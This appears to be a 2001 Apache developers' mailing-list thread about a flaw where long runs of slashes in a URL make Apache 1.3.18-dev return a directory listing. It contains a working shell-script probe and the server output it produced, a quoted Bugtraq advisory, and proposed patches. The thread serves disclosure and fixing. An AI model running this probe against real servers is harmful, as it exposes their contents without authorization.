You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@httpd.apache.org by Martin Kraemer <Ma...@Fujitsu-Siemens.com> on 2001/02/09 09:45:35 UTC
[SECURITY] Apache-1.3.18
I just went through old mails and tested this (see excerpt at end)
on the current apache 1.3.18-dev.
And guess what: The error is still there!!!!!
And I could reproduce it on both FreeBSD-4.2 and BS2000/SVR4.
I have a shell script called GET (linked to HEAD):
--snip--
#!/bin/sh
# on localhost:81, I have a proxy running:
nc localhost 81 <<.
`basename $0` $1 HTTP/1.0
.
--snip--
and I tried this:
---------------
#!/bin/tcsh -f
set x=/
set host=deejai.mch.fsc.net:8080
while ( 1 )
echo -n /
GET http://${host}$x | grep //// && break
set x=$x/
end
while ( 1 )
echo -n Number of slashes:
echo -n $x | wc -c
GET http://${host}$x | grep 403 && break
set x=$x/
end
---------------
At 993 '/'s, I still got index.html.en
At 994, I got a directory listing:
---------------
HTTP/1.0 200 OK
Date: Fri, 09 Feb 2001 08:22:10 GMT
Server: Apache/1.3.18-dev (BS2000)
Content-Type: text/html
X-Cache: MISS from deejai2.mch.fsc.net
Proxy-Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
<TITLE>Index of /</TITLE>
</HEAD>
<BODY>
<H1>Index of /</H1>
<PRE><IMG SRC="/icons/blank.gif" ALT=" "> <A HREF="?N=D">Name</A> <A HREF="?M=A">Last modified</A> <A HREF="?S=A">Size</A> <A HREF="?D=A">Description</A>
<HR>
<IMG SRC="/icons/back.gif" ALT="[DIR]"> <A HREF="//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
<IMG SRC="/icons/image2.gif" ALT="[IMG]"> <A HREF="apache_pb.gif">apache_pb.gif</A> 07-Feb-2001 16:05 2k
<IMG SRC="/icons/text.gif" ALT="[TXT]"> <A HREF="index.html.ca">index.html.ca</A> 07-Feb-2001 16:05 2k
<IMG SRC="/icons/text.gif" ALT="[TXT]"> <A HREF="index.html.cz">index.html.cz</A> 07-Feb-2001 16:05 2k
<IMG SRC="/icons/text.gif" ALT="[TXT]"> <A HREF="index.html.de">index.html.de</A> 07-Feb-2001 16:05 2k
....
---------------
And at 997 and beyond, I got this:
---------------
HTTP/1.0 403 Forbidden
Date: Fri, 09 Feb 2001 08:25:06 GMT
Server: Apache/1.3.18-dev (BS2000)
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from deejai2.mch.fsc.net
Proxy-Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>403 Forbidden</TITLE>
</HEAD><BODY>
<H1>Forbidden</H1>
You don't have permission to access /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////[truncated by my editor]
on this server.<P>
<HR>
<ADDRESS>Apache/1.3.18-dev Server at dcWWW.mch.fsc.net Port 8080</ADDRESS>
</BODY></HTML>
---------------
Martin
> On Wed, 31 May 2000, Marc Slemko wrote:
>
> > FYI.
> >
> > It may or may not apply to Apache itself on Win32, and may or may not be
> > fixed in current versions. What is happening here is almost certainly
> > that it tries to look for index.html, etc. and the error code isn't
> > properly interpreted to mean "that is too long, so bail".
> >
> > ---------- Forwarded message ----------
> > Date: Wed, 31 May 2000 18:34:30 -0000
> > From: Marek Roy <ma...@HOTMAIL.COM>
> > To: BUGTRAQ@SECURITYFOCUS.COM
> > Subject: IBM HTTP SERVER / APACHE
> >
> > I haven't seen any advisories for IBM HTTP SERVER running
> > Apache.
> >
> > There is a crucial number of "/" (forward slash) you can
> > use to retrieve the contents of the root directory of this
> > particular Web Server. Using this vulnerability, you can
> > retrieve any files or scripts running from that directory
> > and sub-directories.
> >
> > The number of "/" used to reproduce this can be different
> > from one server to another. I don't have enough time to do
> > more testing. However, feel free to add some more info to
> > this quick advisory.
> >
> > You can get a trial copy at:
> >
> > http://www-
> > 4.ibm.com/software/webservers/httpservers/download.html#v136
> >
> > ====
> >
> > Vulnerable:
> > Server: IBM_HTTP_Server/1.3.6.2 Apache/1.3.7-dev (Win32)
> >
> > Not Vulnerable:
> > Server: IBM_HTTP_Server/1.3.6.2 Apache/1.3.7-dev (Unix)
> >
> > ====
> >
> > If you send a GET request of 210 "/", you get:
> > The actual Web Page.
> > ----
> > If you send a GET request of 211 "/", you get:
> > Index of /
> > -----
> > If you send a GET request of 212 "/", you get:
> >
> > Forbidden
> > You don't have permission to access
> > "/" x 212 on this server.
> >
> >
> > Marek Roy
--
<Ma...@Fujitsu-Siemens.com> | Fujitsu Siemens
<ma...@apache.org> | 81730 Munich, Germany
Re: [SECURITY] Apache-1.3.18
Posted by Martin Kraemer <Ma...@Fujitsu-Siemens.com>.
Here is part 2 of my proposed fix. The idea behind this change is this:
mod_negotiation searches for possible variants by reading the directory.
Until now, it treats inaccesible files (due to exceeded path length) as
not existing at all. The net result is that on return to mod_dir, NOT_FOUND
is returned, and mod_dir (in absence of any index.html* files) displays
the directory contents.
With the fix, the return value is HTTP_FORBIDDEN instead, if ALL variants
which mod_negotiation tried were FORBIDDEN, and none was OK.
With the fixed return value handling, you can now try and increase
the number of slashes and observe a change from 200 OK (for the
index file) to 403 Forbidden (for a path name which is too long)
as soon as the total path length exceeds the system limit.
Martin
--
<Ma...@Fujitsu-Siemens.com> | Fujitsu Siemens
<ma...@apache.org> | 81730 Munich, Germany
Re: [SECURITY] Apache-1.3.18
Posted by Martin Kraemer <Ma...@Fujitsu-Siemens.com>.
On Fri, Feb 09, 2001 at 11:11:42AM +0100, Martin Kraemer wrote:
> +#ifdef ENAMETOOLONG
> + /* Special case for filenames which exceed the maximum limit
> + * imposed by the operating system (~1024). These should
> + * NOT be treated like "file not found", because there is
> + * a difference between "the file is not there" and
> + * "the file exists, but you tried to access it using a
> + * path which exceeds the path length limit".
> + * The idea here is to handle DoS attacks with long
> + * runs of //////'s in a graceful and secure manner.
> + */
> + if (errno == ENAMETOOLONG) {
> + rnew->status = HTTP_FORBIDDEN;
> + return rnew;
> + }
> +#endif
Does everybody agree that exceeding the maximum path length is important
enough to justify an extra log entry here? Something like
if (errno == ENAMETOOLONG) {
ap_log_rerror(APLOG_MARK, APLOG_CRIT, r,
"Possible DoS attempt? URL=%s", r->filename);
rnew->status = HTTP_FORBIDDEN;
return rnew;
}
Just a thought.
Martin
--
<Ma...@Fujitsu-Siemens.com> | Fujitsu Siemens
<ma...@apache.org> | 81730 Munich, Germany
Re: [SECURITY] Apache-1.3.18
Posted by Martin Kraemer <Ma...@Fujitsu-Siemens.com>.
On Fri, Feb 09, 2001 at 09:45:35AM +0100, Martin Kraemer wrote:
>
> And guess what: The error is still there!!!!!
> And I could reproduce it on both FreeBSD-4.2 and BS2000/SVR4.
Here is part 1 of a fix. It makes sure that when the OS returns that
the maximum path length was exceeded, then we no longer handle this
case just like as if no file was found. There is a huge difference
between the two cases.
The second part of a fix will be in mod_negotiation or mod_dir
(if all variants have a 403 subrequest status, I still see a directory
listing). I'm busy on that one.
Martin
--
<Ma...@Fujitsu-Siemens.com> | Fujitsu Siemens
<ma...@apache.org> | 81730 Munich, Germany
Re: [SECURITY] Apache-1.3.18
Posted by Tony Finch <do...@dotat.at>.
Jim Jagielski <ji...@jaguNET.com> wrote:
>In my mind, it's a problem that should be fixed for the .18
>release. Especially since it's one that we knew about and had
>"thought" closed. I'm +1 for this!
Yes, nice patches.
Tony.
--
f.a.n.finch fanf@covalent.net dot@dotat.at
LUNDY FASTNET: SOUTHWESTERLY 6 OR 7. RAIN AT TIMES. MODERATE OR POOR.
Re: [SECURITY] Apache-1.3.18
Posted by Martin Kraemer <Ma...@Fujitsu-Siemens.com>.
To clarify the analysis: the directory listing is shown if:
* mod_negotiation is enabled (Options +MultiViews) AND
* the directory does NOT contain a file which has the name as
given in the DirectoryIndex directive (and therefore a scan is
performed to find a candidate with appropriate suffix) AND
* the full path to the potential candidate exceeds the limit imposed
by the system (~1024)
That is the case for an apache server (1.3.10++, since Rev. 1.43 of
httpd.conf-dist) when it is installed by default. But unless the end user
really supplies multi-language variants, this may not be exploitable
on a typical site.
Martin
--
<Ma...@Fujitsu-Siemens.com> | Fujitsu Siemens
<ma...@apache.org> | 81730 Munich, Germany